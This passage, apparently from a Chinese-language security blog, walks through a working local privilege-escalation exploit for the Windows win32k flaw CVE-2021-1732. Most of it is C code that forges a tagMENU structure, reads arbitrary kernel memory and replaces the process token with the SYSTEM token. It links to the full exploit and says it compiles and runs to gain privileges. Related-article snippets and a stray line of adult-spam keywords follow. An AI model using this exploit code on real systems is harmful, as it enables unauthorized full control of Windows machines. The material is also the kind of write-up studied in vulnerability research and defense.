        if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&        !AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))    {        bRet = FALSE;        ShowError("AppendMenu", GetLastError());        goto exit;    }}
    

    偽造tagMENU結構體,偽造的時候,要繞過第三處驗證:

    // 偽造tagMENUHANDLE hProcHeap = NULL;
    hProcHeap = GetProcessHeap();if (!hProcHeap){    bRet = FALSE;    ShowError("GetProcessHeap", GetLastError());    goto exit;}
    DWORD dwHeapFlags = HEAP_ZERO_MEMORY;g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);if (!g_qwMenu){    bRet = FALSE;    ShowError("GetProcessHeap", GetLastError());    goto exit;}
    *(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
    *(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);*(PDWORD)(g_qwMenu + 0x40) = 1;*(PDWORD)(g_qwMenu + 0x44) = 2;
    

    把偽造的tagMENU設置到tagWND1中:

    // g_hWnd[1]的style加入WS_CHILD DWORD dwStyleOffset = 0x18;QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);
    qwStyle |= 0x4000000000000000;
    if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    // 將偽造的tagMENU設置到g_hWnd[1]中QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
    if (!qwSPMenu && GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    // 刪除g_hWnd[1]的WS_CHILDqwStyle &= ~0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    

    現在就可以通過設置*(spMenu + 0x58)的值,來實現任意地址的讀取:

    QWORD ReadData_CVE_2021_1732(QWORD pTarAddress){    BYTE bValue[0x8] = { 0 };
        RECT Rect = { 0 };    if (!GetWindowRect(g_hWnd[1], &Rect))    {        ShowError("GetWindowRect", GetLastError());        goto exit;    }
        MENUBARINFO mbi = { 0 };
        mbi.cbSize = sizeof(mbi);    *(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
        if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi))    {        ShowError("GetMenuBarInfo", GetLastError());        goto exit;    }
        *(PDWORD)bValue = mbi.rcBar.left - Rect.left;    *(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;
    exit:    return *(PQWORD)bValue;}
    

    3.提權

    具有任意地址讀寫的能力,就可以通過替換Token實現提權:

    BOOL EnablePrivileges_CVE_2021_1732(){    BOOL bRet = TRUE;    CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;
        QWORD qwSytemAddr = GetSystemProcess();    if (!qwSytemAddr)    {        bRet = FALSE;        goto exit;    }
        // 獲取system進程EPROCESS的地址和Token    QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);    QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);
        // 找到當前進程的EPROCESS    QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;
        do {        qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;        qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);    } while (qwPID != qwCurPID);
        // 替換Token    if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken))    {        bRet = FALSE;        goto exit;    }
    exit:    return bRet;}
    

    4.修復數據

    提權完成之后,為了防止退出進程時發生BSOD,還需要將利用該漏洞過程中修改的窗口對象的成員修復回原來的數據:

    // 修復數據,防止藍屏lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);
    if (qwWndOffset > qwTriggerOffset){    printf("qwWndOffset to larger\n");    goto exit;}
    qwWndOffset = qwTriggerOffset - qwWndOffset;
    DWORD dwFlagsOffset = 0xE8;
    DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
    dwFlags &= ~0x800;if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);if (!qwBuffer){    bRet = FALSE;    ShowError("HeapAlloc", GetLastError());    goto exit;}
    if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    // 增加g_hWnd[1]的WS_CHILDqwStyle |= 0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    // 恢復g_hWnd[1]的spMenuif (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    // 刪除g_hWnd[1]的WS_CHILDqwStyle &= ~0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    

    五、運行結果

    完整代碼保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2021-1732.cpp。編譯運行即可成功提權:

    函數調用getlasterror
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    API(Application Programming Interface),我們調用時只需提供正確的參數以及接收返回值就可以判斷API執行是否成功或者通過GetLastError獲得錯誤原因.
    漏洞描述該漏洞存在與win32k模塊中的SetImeInfoEx函數,在該函數中未對tagWINDOWSTATION結構偏移0x14的spkiList進行有效性驗證就對其進行解引用操作,而spkList可以為NULL,此時就會對地址0x14進行解引用操作,導致系統崩潰。
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    注冊表在我們的計算機里面,有一些程序是可以設置成開機自啟的,這種程序一般都是采用往注冊表里面添加鍵值指向自己的程序路徑來實現開機自啟在windows里面開機自啟的注冊表路徑如下//用戶級。
    MITM Fuzz下圖是用戶層與內核層實現通信的過程,可以看到,最后是通過NtDeviceIoControlFile來分發給相應驅動對象的派遣函數的,因此,可以通過對該函數進行HOOK操作。如果將修改以后的數據發送給NtDeviceIoControlFile函數以后,發生了內核崩潰或藍屏,往往預示著該驅動程序可能存在內核漏洞。
    由 LSASS 進程加載的 wdigest.dll 模塊有兩個有趣的全局變量
    而在xxxSBTrackInit和xxxFreeWindow中都存在用戶層的回調,通過對函數的劫持可以在回調中釋放掉xxxSBTrackInit函數中使用的tagSBTRACK結構體,這樣當xxxSBTrackInit釋放該結構體的時候就會因為雙重釋放導致BSOD的產生
    內核漏洞學習-HEVD-NullPointerDereference
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类